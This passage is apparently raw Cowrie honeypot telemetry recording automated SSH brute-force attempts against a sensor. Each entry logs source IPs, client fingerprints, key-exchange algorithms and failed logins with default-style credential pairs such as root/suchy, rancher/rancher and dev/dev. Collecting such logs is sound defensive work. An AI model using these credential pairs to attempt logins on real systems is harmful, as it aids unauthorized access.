{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44234,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa643f97bc2a","protocol":"ssh","message":"New connection: 103.75.199.4:44234 (159.203.135.109:22) [session: fa643f97bc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:11.373328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:11.379281Z","src_ip":"103.75.199.4","session":"fa643f97bc2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:11.507524Z","src_ip":"103.75.199.4","session":"fa643f97bc2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:11.895722Z","src_ip":"103.75.199.4","session":"fa643f97bc2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:12.008354Z","src_ip":"154.83.196.237","session":"adbae88285d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":48148,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd83eee659b5","protocol":"ssh","message":"New connection: 205.209.121.72:48148 (10.17.0.5:22) [session: cd83eee659b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:12.159497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:12.167174Z","src_ip":"205.209.121.72","session":"cd83eee659b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:12.173040Z","src_ip":"205.209.121.72","session":"cd83eee659b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"suchy","message":"login attempt [root/suchy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:12.227904Z","src_ip":"205.209.121.72","session":"cd83eee659b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:13.030654Z","src_ip":"103.75.199.4","session":"fa643f97bc2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:13.237830Z","src_ip":"205.209.121.72","session":"cd83eee659b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53612,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e912b7207b1","protocol":"ssh","message":"New connection: 43.163.119.215:53612 (10.17.0.5:22) [session: 2e912b7207b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:18.870209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:18.875401Z","src_ip":"43.163.119.215","session":"2e912b7207b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:19.115884Z","src_ip":"43.163.119.215","session":"2e912b7207b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:19.835802Z","src_ip":"43.163.119.215","session":"2e912b7207b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":34572,"dst_ip":"10.17.0.5","dst_port":22,"session":"118fb2bc29cb","protocol":"ssh","message":"New connection: 43.163.119.215:34572 (10.17.0.5:22) [session: 118fb2bc29cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:20.470237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:20.475805Z","src_ip":"43.163.119.215","session":"118fb2bc29cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:20.723242Z","src_ip":"43.163.119.215","session":"118fb2bc29cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:21.135027Z","src_ip":"43.163.119.215","session":"2e912b7207b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:21.557475Z","src_ip":"43.163.119.215","session":"118fb2bc29cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:22.806561Z","src_ip":"43.163.119.215","session":"118fb2bc29cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53614,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bfeb363d380","protocol":"ssh","message":"New connection: 43.163.119.215:53614 (10.17.0.5:22) [session: 9bfeb363d380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:24.328469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:24.333477Z","src_ip":"43.163.119.215","session":"9bfeb363d380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:24.571696Z","src_ip":"43.163.119.215","session":"9bfeb363d380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:25.286081Z","src_ip":"43.163.119.215","session":"9bfeb363d380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:26.527009Z","src_ip":"43.163.119.215","session":"9bfeb363d380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":34664,"dst_ip":"159.203.135.109","dst_port":22,"session":"f43270878cc1","protocol":"ssh","message":"New connection: 186.116.56.108:34664 (159.203.135.109:22) [session: f43270878cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:29.608393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:29.628422Z","src_ip":"186.116.56.108","session":"f43270878cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:29.721263Z","src_ip":"186.116.56.108","session":"f43270878cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:30.120005Z","src_ip":"186.116.56.108","session":"f43270878cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:31.215122Z","src_ip":"186.116.56.108","session":"f43270878cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33746,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5fc882770d","protocol":"ssh","message":"New connection: 103.75.199.4:33746 (159.203.135.109:22) [session: 5a5fc882770d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:33.285433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:33.290467Z","src_ip":"103.75.199.4","session":"5a5fc882770d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:33.382588Z","src_ip":"103.75.199.4","session":"5a5fc882770d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:33.657433Z","src_ip":"103.75.199.4","session":"5a5fc882770d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:34.752517Z","src_ip":"103.75.199.4","session":"5a5fc882770d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37036,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8c263d3847d","protocol":"ssh","message":"New connection: 43.163.119.215:37036 (10.17.0.5:22) [session: e8c263d3847d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:35.125962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:35.135843Z","src_ip":"43.163.119.215","session":"e8c263d3847d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:35.382177Z","src_ip":"43.163.119.215","session":"e8c263d3847d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:36.119996Z","src_ip":"43.163.119.215","session":"e8c263d3847d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:37.368991Z","src_ip":"43.163.119.215","session":"e8c263d3847d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37624,"dst_ip":"10.17.0.5","dst_port":22,"session":"b41acb30dbce","protocol":"ssh","message":"New connection: 43.163.119.215:37624 (10.17.0.5:22) [session: b41acb30dbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:37.815676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:37.821574Z","src_ip":"43.163.119.215","session":"b41acb30dbce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh